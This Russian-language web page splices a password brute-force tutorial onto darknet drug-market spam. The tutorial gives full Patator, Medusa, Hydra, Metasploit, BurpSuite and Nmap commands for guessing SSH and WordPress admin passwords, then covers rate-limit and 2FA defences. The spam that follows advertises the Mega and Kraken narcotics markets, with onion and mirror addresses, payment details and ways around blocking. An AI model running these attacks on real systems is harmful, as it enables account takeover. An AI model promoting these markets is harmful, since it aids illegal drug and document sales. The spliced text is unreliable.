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										Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, omg, Metasploit), а также BurpSuite.

Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.

Brute-force SSH
Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.
Patator
Для подбора пароля средствами Patator используем команду:patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’где:
ssh_login — необходимый модуль
host – наша цель
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора
password – словарь с паролями
-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
omg
Для подбора пароля используя omg выполним команду:omg -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы
Medusa
Для подбора пароля с использованием Medusa выполним команду:medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6где:
-h – IP-адрес жертвы
-u – логин
-P – путь к словарю
-M – выбор модуля
-f – остановка после нахождения валидной пары логин/пароль
-v – настройка отображения сообщений на экране во время процесса подбора
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:Задействуем модуль:use auxiliary/scanner/ssh/ssh_loginДля просмотра необходимых параметров, воспользуемся командой show options. Для нас это:
rhosts – IP-адрес жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоковУказание необходимых параметров производится через команду "set".set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22Указав необходимые параметры набираем команду "run" и ждем.Противодействие
Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset.Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.Brute-force WordPress
Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.Для примера будем подбирать пароль от учетной записи администратора wordpress.
BurpSuite
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.Загружаем необходимый словарь и начинаем атаку.Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.Данный метод перебора занимает намного больше времени, чем при использовании Patator, omg, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.
omg
Попробуем подобрать пароль с помощью omg.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:omg -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"Здесь мы указываем обязательные параметры:
-l – имя пользователя
-P – словарь с паролями
-t – количество потоков
http-post-form – тип формы, у нас POST.
/wp-login.php – это URL страницы с авторизацией
^USER^ — показывает куда подставлять имя пользователя
^PASS^ — показывает куда подставлять пароль из словаря
S=302 – указание на какой ответ опираться omg. В нашем случае, ответ 302 при успешной авторизации.
Patator
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с omg:
Запуск производится командой:patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1http_fuzz – модуль для brute-force атаки http
url – адрес страницы с авторизацией
FILE0 — путь до словаря с паролями
body – информация, которая передается в POST запросе при авторизации
-t — количество потоков
-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос
Как итог – нам удалось подобрать пароль.
Nmap
Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами:
--script-args – добавление аргументов
user или userdb – логин или файла с логинами
pass или passdb — указание пароля или словаря
thread – количество потоков
firstonly=true – выводить результат после первого же правильного пароляnmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'Противодействие
Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

и задействовать ее:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.Усложнить задачу перебора можно используя следующие методы:
— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.
— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).Заключение
В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:
— используйте устойчивые к подбору пароли;
— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;
— регулярно меняйте пароль;
— на всех аккаунтах применяйте уникальные пароли.Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:
— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);
— использовать двухфакторную аутентификацию;
— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).
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										К счастью, мне скинули адрес mega url, где собран огромнейший ассортимент веществ и услуг. Еще раз нелишним будет напомнить, что ссылку нужно в любом случае перечитывать. Вход на сайт mega Приветствуем всех любителей оттянуться и расслабиться! Причина тому безупречная подготовка и листинг на сайтах зарубежья. После перехода по правильной ссылке на Мегу, можно приступать к поиску товаров с выбором самого удобного места для закладки. Какие существуют способы оплаты на Мега Даркнет Для обеспечения анонимности сделки, на Мега Даркнет используют такие типы криптовалюты: BTC, XMR Монеро. В отзывах о Мега Даркнет можно найти упоминания об огромной базе товаров, которые невозможно купить в свободном доступе. Вещества на Меге продаются круглосуточно в режиме 24/7. Окончание у ссылки всегда будет только Онион и никак иначе, имейте это ввиду. В первую очередь следует найти ссылку Мега Даркнет Маркет для Тор. Покупка и продажа валюты Важно! Еще один способ оплаты при помощи баланса смартфона. Курьерскую доставку скорее нельзя оформить в любой регион России или стран СНГ. Разработчики и обслуживающий персонал вкладывают колоссальные средства в развитие проекта, стремясь предоставить клиентам максимальную конфиденциальность и безопасность. Onion Хочется также отметить, что в отличии от Гидры, на которой без фильтра невозможно было нормально пользоваться сайтом, Мега хоть и не имеет java Script, тем не менее работает очень корректно. XTC market Как обойти баны и блокировки сайта. На нашем сайте можно ознакомиться с отзывами реальных клиентов, а также узнать рейтинг магазинов по пятибалльной системе, это особенно ценно для новичков в Даркнете, которые не могут пока определиться с выбором магазина самостоятельно. Поэтому чтобы продолжить работу с торговым сайтом, вам потребуется mega onion ссылка для браузера Тор. Она не так давно образовалась, но очень стремительно набрала популярность. После успешного создания аккаунта, в разделе с кнопками «Войти» или «Зарегистрироваться» вы увидите несколько полезных инструментов: Кнопка слева позволяет поменять тему на темную; Иконка с тележкой супермаркета отображает список заказов; Конверт открывает мессенджер для общения с продавцами/клиентами. Стратегия платформы такова, что политика должна быть честной, а мошенничество полностью исключено, спорные ситуации решаются в самые короткие сроки. Для сравнения, на других маркетплейсах приходится платить до 20 от суммы сделки за честные и прозрачные условия. Еще одной отличной новостью является выпуск встроенного обменника. Единственное ограничение это большие суммы перевода, есть риск, что кошелек заблокируют. По сравнению с Гидрой, в Мега Даркнете ценовая политика гораздо выгоднее. Mega Tor Ссылка на Мега Даркнет вход через анонимный браузер ТОР: mega555fzuhxvskevig3ybqc2gozjivjrztcoogb5h2e37fm52ox5bid. Также многие используют XMR, считая ее самой безопасной и анонимной. Паспорта и любые документы граждан Европы. Mega Dark Market На площадке Мега Даркнет пользователь может с легкостью приобрести тот же ассортимент запрещенных товаров, что и раньше на Гидре, тем более что многие из магазинов просто переместились оттуда сюда. Сайт Мега часто попадает под блокировку мошенников, поэтому всегда ищите только рабочую ссылку, чтобы не остаться без денег. Среди приятных функций можно выделить такие: Двухфакторная аутентификация; Работа без java Script; Опция приоритетного размещения и выделения маркета на фоне остальных. Ассортимент все время обновляется с приходов новых поставщиков. Заявка на приобретение принимается мгновенно. Пока что этот сайт покрыт тайной, но мы пристально следим за всеми новостями этой отрасли. Ссылка на мега Даркнет Люди говорят о сайте mega darknet market Для дилеров на площадке mega darknet market сплошные плюсы: нет арендной платы, комиссия всего один процент после зачисления средств. Вы можете сами убедиться в этом, открыв mega darkmarket зеркало. Следующим паком обновлений будет возможность пополнять счёт с множества существующих криптовалют. Будем следить за развитием событий, а вы, уважаемые покупатели, будьте предельно осторожны в посещении фишинговых сайтов и пополняйте баланс только у проверенных обменников. Mega mirror огромная торговая платформа, где собраны лучшие поставщики в Даркнете. Большинство магазинов, раньше работающих на Hydra, были успешно перемещены на сайт Мега. Данная площадка настолько проста и доступна, работает без перебоев, что не уступает ни в чем раскрученным маркетплейсам. Что собой представляет маркетплейс Мега Долгое время площадка Мега Даркнет была в тени Гидры и не пользовалась большой популярностью, хотя создана она была с Гидрой в одно и тоже время.					
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        Торговая площадка, наркошоп - вход





Наркоплощадка по продаже наркотиков Кракен терпеть работает - это новый рынок вместо гидры.





Он запрещен для россиян, по этому мы подготовили несколько способов для обхода блокировок крн.





Переходите по рабочим зеркалам для регистрации аккаунта и покупки наркотиков в сети интернет.





Мы предоставляем рабочие адреса наркомагазина для регистрации из России и стран СНГ!

            KRAKEN12.AT
            
        

        

